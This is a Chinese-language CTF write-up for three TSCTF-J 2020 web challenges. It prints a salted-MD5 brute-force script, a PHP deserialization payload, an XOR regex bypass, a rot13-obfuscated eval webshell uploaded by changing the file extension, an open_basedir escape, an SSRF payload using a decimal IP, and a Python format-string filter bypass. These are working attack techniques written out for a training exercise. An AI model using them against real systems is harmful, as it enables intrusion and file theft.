2020 TSCTF-J wp
-
Web方向
0x01 easyWEB
打开页面发现就是一个输入框,输入了几次都是error
查看源代码发现一个叫submit.js的文件,内部有一个叫做BubbleGVM的函数,初步推测与检测输入有关
进入submit.js查看源代码,发现了一段代码

用python脚本翻译一下十六进制代码,得到

发现一个目录叫/fllllaiig,进去看看

通过get方法传入已经序列化的参数,当参数为常规可反序列化对象时进行反序列化,传入protected类型变量op,filename,content和passwd,其中passwd值需要经过验证,在传入pop参数后在析构函数中调用process函数进行反序列化以及验证passwd操作
发现两个点:
第一个点

加盐md5,已知盐值,而且提示passwd都是数字,则尝试用脚本跑出来
import hashlib
def md5sum(s):
m = hashlib.md5() #创建一个hashlib.md5()对象
m.update(s.encode("utf8")) #将参数转换为UTF8编码
return m.hexdigest() #用十六进制输出加密后的数据
salt = md5sum('Bubb1EgVm')
data = open("C:\CTF\TSCTF-J\EasyWeb\Rainbow.txt",'w+')
for i in range(10000000):
a = md5sum(str(i))
b = a + salt
print(str(i) + " : " + md5sum(b),file=data)
data.close()
之后在文件中搜索发现最后的密码为5201314

第二个点:

析构函数中op==='2'为强对比,而前面验证函数中op=='2'为弱对比,因而可以通过op=2来绕过强对比,避免op被置为’1’从而跳入put分支
第三个点:
变量类型为protected,在之后构造payload时需要对payload进行手动修改
构造payload:
<?php
class FileHandler {
public $op = 2;
public $filename = "hint.php";
public $content = "111";
public $passwd = '5201314';
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$exp = new FileHandler();
$exp_s = serialize($exp);
var_dump(is_valid($exp_s));
echo($exp_s);
?>
远程file_get_contents(file)需要用绝对地址

在构造protected变量的序列化过程中存在\00字符,表现为不可见字符,需要手动添加,位置为环绕*字符左右各一个,同时s要大写表示后面允许使用\00的表达
最终payload:
O:11:"FileHandler":4:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:32:"/var/www/html/fllllaiig/hint.php";S:10:"\00*\00content";S:3:"111";S:9:"\00*\00passwd";S:7:"5201314";}
发现result并无返回值,查看页面源代码发现hint:
$dir='bubblegvm5201314';
进入到/bubblegvm5201314目录下查看

发现是正则表达式检测,通过异或绕过
Payload:
?a=${ %ff%ff%ff%ff^%a0%b8%ba%ab}{ %ff}();&%ff=phpinfo
跳转到phpinfo界面,在disable_function处发现flag:

0x02 EzUpload
传一个一句话上去,发现过滤.php类型的文件,老规矩传一个jpg上去发现成功了

上传图片马发现有过滤关键字,尝试多次发现过滤eval关键字
将eval进行rot13加密绕过检测并且在代码段进行解密,成功绕过检测
Payload:
<?php
$exp = $_POST['shell'];
@preg_replace('/ad/e','@'.str_rot13('riny').'($exp)', 'add');
?>
用burpSuite抓包更改文件后缀从jpg改成php绕过检测


用中国蚁剑连接并找到了两个假flag
所有的地方都找不到flag,怀疑flag在根目录可是我们并没有权限访问
上传一个phpinfo.php查看一下phpinfo
发现了溢出屏幕的disabled_functions

和只有/var、/usr和/tmp的open_basedir

这里可以通过上传php文件然后利用chdir(‘..’)指令前往前面目录让目前目录变为根目录最后使用var_dump(scandir(‘/’))获取目前目录所有文件
Payload:
<?php
mkdir('1');
chdir('1');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
?>
发现flag.txt

然后将var_dump(scandir(‘/’)换成get_file_contents(‘/flag.txt’)就可以获取flag了

0x03 rcmd
先进行代码审计

大致流程为输入一个url然后该网站与url产生连接,传输数据后关闭连接
想让它向本机传输数据,但是url过滤127.0.0.1和localhost,所以采用进制绕过

由于连接之后只会发送the content is 和一个整形,我们用%1$s覆盖start的值让页面输出字符型内容
扫描端口发现开放端口并在5000端口检测到回显有一段文字提示
最终payload:
http://api.yoshino-s.online:11455/?url=http://2130706433:5000&start=%1$s

进入/query?=path/fl4g/flag下查找

发现文件过滤
进入根目录下查找,发现/app目录下有三个文件main.py,file.py和readfile.py
main.py:
from flask import Flask, request
from file import File
from readfile import FileReader
app = Flask(__name__)
@app.route('/query')
def query():
path = request.args.get('path')
if not path:
return '请输入路径'
file = FileReader(File(path))
return str(file)
@app.route('/')
def index():
return 'Use /query?path= to query what you want. And what you want is at /fl4g/flag'
if __name__ == '__main__':
app.run(port=8890)
File.py:
import os
import os.path
class File:
"The file class"
def __init__(self, path):
self.path = path
self.name = os.path.basename(self.path)
self.dir = os.path.dirname(self.path)
def listDir(self):
return os.listdir(os.path.dirname(self.dir))
Readfile.py
from file import File
class FileReader:
def __init__(self, file):
self.file = file
def __str__(self):
if 'fl4g' in self.file.path:
return 'nonono,it is a secret!!!'
else:
output = 'The file you read is:\n'
filepath = (self.file.dir + '/{file.name}').format(file=self.file)
output += filepath
output += '\n\nThe content is:\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\n\nOther files under the same folder:\n'
output += '\n'.join(self.file.listDir())
return output.replace('\n','')
代码审计得到,这三个脚本读取文件并过滤文件名fl4g。解决方法为利用format格式化绕过fl4g的名称检测
Payload:
/fl4{file.name[3]}/flag
获得flag
